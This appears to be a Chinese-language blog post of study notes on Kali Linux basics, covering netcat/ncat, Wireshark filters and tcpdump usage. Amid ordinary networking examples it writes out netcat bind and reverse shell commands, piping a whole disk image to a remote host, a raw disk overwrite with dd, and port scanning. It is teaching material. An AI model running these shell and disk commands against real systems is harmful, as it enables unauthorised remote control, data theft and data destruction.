kali linux 渗透测试学习笔记——kali linux 基本工具
这里只简单述说一下工具的功能~~
常用工具
- 经常使用且功能强大
- 安全从业者必不可少的帮手
- NC / ncat
- wireshark
- tcpdump
NETCAT - NC
- 网络工具中的瑞士军刀-小身材,大智慧
- 侦听模式 / 传输模式
- telnet / 获取banner信息
- 传输文本信息
- 传输文件 / 目录
- 加密传输文件
- 远程控制 / 木马
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
NC —— telnet / banner
nc -h 查看参数的使用 -v显示详细的信息 -n跟一个ip
客户端连接服务器端口,可以看到banner信息
nc -nv 1.1.1.1 110 110端口为POP3(邮件协议3)服务开放的
nc -nv 1.1.1.1 25 25端口为SMTP服务器所开放,主要用于发送邮件
nc -nv 1.1.1.1 80 80端口是为HTTP超文本传输协议开放的
NC —— 传输文本信息
比如说简单实现两个人来聊天等~~
A:nc -l -p 4444 其中一台开放一个端口,-l侦听一个端口,-p打开一个端口
B:nc -nv 1.1.1.1 4444 另一台作为客户端连接开放的端口
一端终止,两边都终止
远程电子取证
尽量少的修改被审计计算机文件的内容,避免破坏证据
在本机监听并开放端口,在取证的计算机上执行nc操作
本机:nc -l -p 4444
需取证的计算机:ls -l | nc -nv 1.1.1.1 4444
即可在本机显示取证计算机的文件目录,也就是远程电子取证的信息收集
本机:nc -l -p 4444 > ps.txt 把文件传来的信息存到ps.txt中
需取证的计算机:ps aux | nc -nv 1.1.1.1 4444 -q 1 -q执行后等一秒钟,断开连接
这里主要是通过nc来收集电子取证的一些信息
NC —— 传输文件 / 目录
传输文件
接收端打开端口:
A:nc -lp 333 > 1.mp4 接收端口内容>输出到1.MP4中
B:nc -nv 1.1.1.1 333 < 1.mp4 -q 1 <输入到nc的端口里面
或者
发送端打开端口
A:nc -q 1 -lp 333 < 1.mp4
B:nc -nv 1.1.1.1 333 > 1.mp4 按下回车就会建立连接
传输目录
先打包再传输~
A:tar -cvf - music/ | nc -lp 333 -q 1
B:nc -nv 1.1.1.1 333 | tar -xvf - 目录从A到B
加密传输文件
A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
加密方式和解密方式必须得对应
NC —— 流媒体服务
A:cat 1.mp4 | nc -lp 333
B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
NC —— 端口扫描
nc -nvz 1.1.1.1 1-65535
nc -vnzu 1.1.1.1 1-1024 UDP开放端口
不如nmap强大,功能也没有那么多
NC —— 远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
远程电子取证,可以将目标服务器硬盘远程复制,或者内存
完完全全复制到一个新的硬盘上去,一模一样
NC —— 远程控制
正向:
A:nc -lp 333 -c bash 连接建立之后,执行一个shell脚本
B:nc 1.1.1.1 333 连接之后可执行bash命令控制A
反向:
A:nc -lp 333 连接之后可执行bash命令控制B
B:nc 1.1.1.1 333 -c bash 被控制
有点像qq上的远程控制~~
注:windows用户把bash改成cmd
NC —— NCAT(kali2.0好像木有这个命令~)
NC缺乏加密和身份验证的能力,数据都是以明文形式进行传输,可以被进行ARP欺骗,被嗅探等,
同时也缺乏身份验证,开放的端口容易被别人扫描到,被别人利用~
NCAT弥补了NC缺乏加密和身份验证的能力
NCAT包含于nmap工具包中
A:ncat ncat -c bash -allow 192.168.20.14 -vnl 333 -ssl
-allow只允许哪一个ip连接,-ssl加密
B:ncat -nv 1.1.1.1 333 -ssl
-ssl保证两边加解密方式一样
传输的数据都是被加密的,因为管道本身就是被加密的,嗅探抓包是看不见传输内容的!
实现方式与NC有本质的区别!!!基于IP地址的身份验证!!!
nc虽然强大,但是有很多的版本,不同系统 / 平台的nc参数功能不尽相同,
例如ubuntu的nc中没有-c这个参数,所以在不同平台使用时注意参数和命令的不同之处
WIRESHARK
- 抓包嗅探协议分析
- 安全专家必备技能
- 抓包引擎
- Libpcap9——Linux
- Winpacap10——Windows
- 解码能力
WIRESHARK —— 基本使用方法
- 简单的使用方法如下:
- 启动
- 选择抓包网卡,还可以进行筛选
- 实施抓包,双击网卡,或者如下:
- 保存和分析捕获文件,先停止:
保存之后如要继续分析,直接拖入即可查看:
- 首选项
可以进行个性化的设置:
例如添加两列,源MAC地址,目的MA地址:
WIRESHARK —— 筛选器
- 过滤掉干扰的数据包
- 抓包筛选器
和显示筛选器差不多,只不过一开始就进行筛选:
- 显示筛选器
可以根据不同的条件筛选不同的包
ip.addr == 192.168.1.122 //根据IP地址筛选,包括源ip或者目的IP
ip.src == 192.168.1.122 //根据源IP地址筛选
ip.dst == 192.168.1.122 //根据目的IP地址筛选
...........
WIRESHARK —— 常见协议包
- 数据包的分层结构:通过分层结构可以清晰观察协议
- ARP
- ICMP—— ping包
- TCP——三次握手
- UDP
- DNS
- HTTP
- FTP
WIRESHARK —— TCP流
- 右键追踪TCP流~~~
- 数据流:追踪可查看详细的数据
- HTTP——明文传输
- SMTP
- POP3
- SSL——密文传输
- …
WIRESHARK —— 信息统计
位于:
可以查看以下几个方面的信息:
- 节点数
- 协议分析
- 包大小分布
- 会话连接
- 解码方式
- 专家系统
- 一般抓包都是成千上万的,查找异常的时候基本都是从信息统计入手,这样方便更快速的查找异常的流量,比一个一个来效率高多了!!!
WIRESHARK —— 实践
- 抓包对比nc和ncat加密和不加密的流量
- nc下的:
可怜我的kali好像没有ncat命令,,,,,
也没有找到解决方案,,,,我也是服了,难道只有kali1有吗??
望有知道的大佬告知一下,感谢感谢!!
就不说了,反正使用ncat的时候,抓到的数据是加密后的,很难看出明文!!!!
TCPDUMP
- No-GUI的抓包分析工具
- Linux、Unix系统默认安装
- 与wireshark不一样,不是图形化界面
TCPDUMP —— 抓包
- 抓包
- 默认只抓68个字节
- tcpdump -i eth0 -s 0 -w file.pcap -s表示抓多大,0表示有多大抓多大,-w保存文件
- tcpdump -i eth0 port 22 相当于过滤,只抓port22的包
- 读取抓包文件
- tcpdump -r file.pacp
TCPDUMP——筛选
- tcpdump -n -r http.cap | awk ‘{print $3}’| sort –u
- tcpdump -n src host 145.254.160.237 -r http.cap 根据来源IP显示
- tcpdump -n dst host 145.254.160.237 -r http.cap 根据目标ip显示
- tcpdump -n port 53 -r http.cap 显示端口为53内容
- tcpdump -nX port 80 -r http.cap 16进制方式显示端口为80内容
TCPDUMP——高级筛选
- tcpdump -A -n ‘tcp[13] = 24’ -r http.cap 显示第13号字节为24的包